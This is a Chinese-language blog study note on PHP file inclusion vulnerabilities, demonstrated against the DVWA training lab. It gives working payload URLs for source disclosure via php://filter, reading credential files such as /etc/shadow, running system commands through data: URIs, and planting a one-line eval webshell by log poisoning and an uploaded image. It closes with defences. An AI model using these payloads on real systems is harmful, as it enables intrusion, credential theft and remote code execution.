zoukankan      html  css  js  c++  java
  • Web安全测试学习笔记

    基础知识

    文件包含指的是一个文件动态引用另一个文件,这是一种非常灵活的动态调用方式。有点类似Java引用jar包,但区别在于jar包引用后一般是固定不变的(一般不能动态改变所引用的jar包名称),而文件包含可以将引用的文件名作为参数传递。php的文件包含举例:

     利用原理

    引用文件名作为传入参数暴露出来时,用户可传入任意文件名/恶意代码,且程序本身没有进行严格校验/过滤时,便会形成文件包含漏洞。其危害在于:

    1. 泄露服务器敏感数据

    2. 恶意代码注入(可能导致被getshell)

    利用方式

    用DVWA的文件包含(PHP+Aapche)举例,首先在php.ini中配置allow_url_fopen = On,allow_url_include = On。

    此处通过参数page包含文件

    1. 获取源码

       输入:http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=index.php

       得到base64编码后的源码:

       

       解码后得到index源码:

       

    2. 读取服务器敏感文件

       常用的系统敏感文件如下:

       Windows系统

    • c:oot.ini // 查看系统版本
    • c:windowssystem32inetsrvMetaBase.xml // IIS配置文件
    • c:windows epairsam // 存储Windows系统初次安装的密码
    • c:ProgramFilesmysqlmy.ini // MySQL配置
    • c:ProgramFilesmysqldatamysqluser.MYD // MySQL root密码
    • c:windowsphp.ini // php 配置信息

       Linux/Unix系统

    • /etc/passwd // 账户信息
    • /etc/shadow // 账户密码文件
    • /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
    • /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
    • /usr/local/app/php5/lib/php.ini // PHP相关配置
    • /etc/httpd/conf/httpd.conf // Apache配置文件
    • /etc/my.conf // mysql 配置文件

       输入:

        http://localhost/dvwa/vulnerabilities/fi/?page=C:/Windows/system.ini 

        

     3. 执行操作系统命令

       输入:  http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plain,<?php system('whoami');?>

       

    4. 利用日志注入恶意代码

      首先通过访问phpinfo找到错误日志的存放路径:

      输入:http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plain,<?php phpinfo();?>  

        

       用错误日志注入的思路是:

        -》输入带有注入代码且能引发错误的语句

        -》错误日志记录本次的输入(恶意代码注入错误日志)

        -》通过文件包含漏洞访问错误日志,恶意代码被执行

       输入php一句话木马:http://localhost/dvwa/vulnerabilities/fi/?page=<?php @eval($_POST['cmd']);?>

       但是打开错误日志发现尖括号被转义了(抓包改也没用,依然被转义)。。。被转义之后注入代码无法执行,利用错误日志注入的路行不通了...>_<...

        

       换访问日志再试一次(思路是一样的),访问日志尖括号会被编码,抓包改一下之后发现成功写入,一句话木马上传成功。

       

       5. 结合文件上传漏洞

       之前写图片上传的时候曾传过一个图片马(y.png)到服务器(https://www.cnblogs.com/sallyzhang/p/11906217.html),如果存在文件包含漏洞,可直接访问该图片马并执行图片马中的代码。

       输入:http://localhost/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/y.png    

       

    防御方法

    1. 使用PHP时配置php.ini:allow_url_fopen = off,allow_url_include = off

    2. 对动态包含的文件可以设置白名单,不读取非白名单的文件

    3. 尽量不使用动态包含(或者写死)

    如需转载,请注明出处,这是对他人劳动成果的尊重~

  • 相关阅读:
    ES6/ES2015核心内容(上)
    集合转数组的toArray()和toArray(T[] a)方法
    重复输出一个给定的字符串
    10道典型的JavaScript面试题
    用 JavaScript 检测浏览器在线/离线状态(JavaScript API — navigator.onLine)
    List<实体>与List<String>数据互转
    CSS实现四种loading动画效果
    Windows上安装Mac OS
    Android应用层View绘制流程之measure,layout,draw三步曲
    推断输入信息是否为空
  • 原文地址:https://www.cnblogs.com/sallyzhang/p/12221089.html
Copyright © 2011-2022 走看看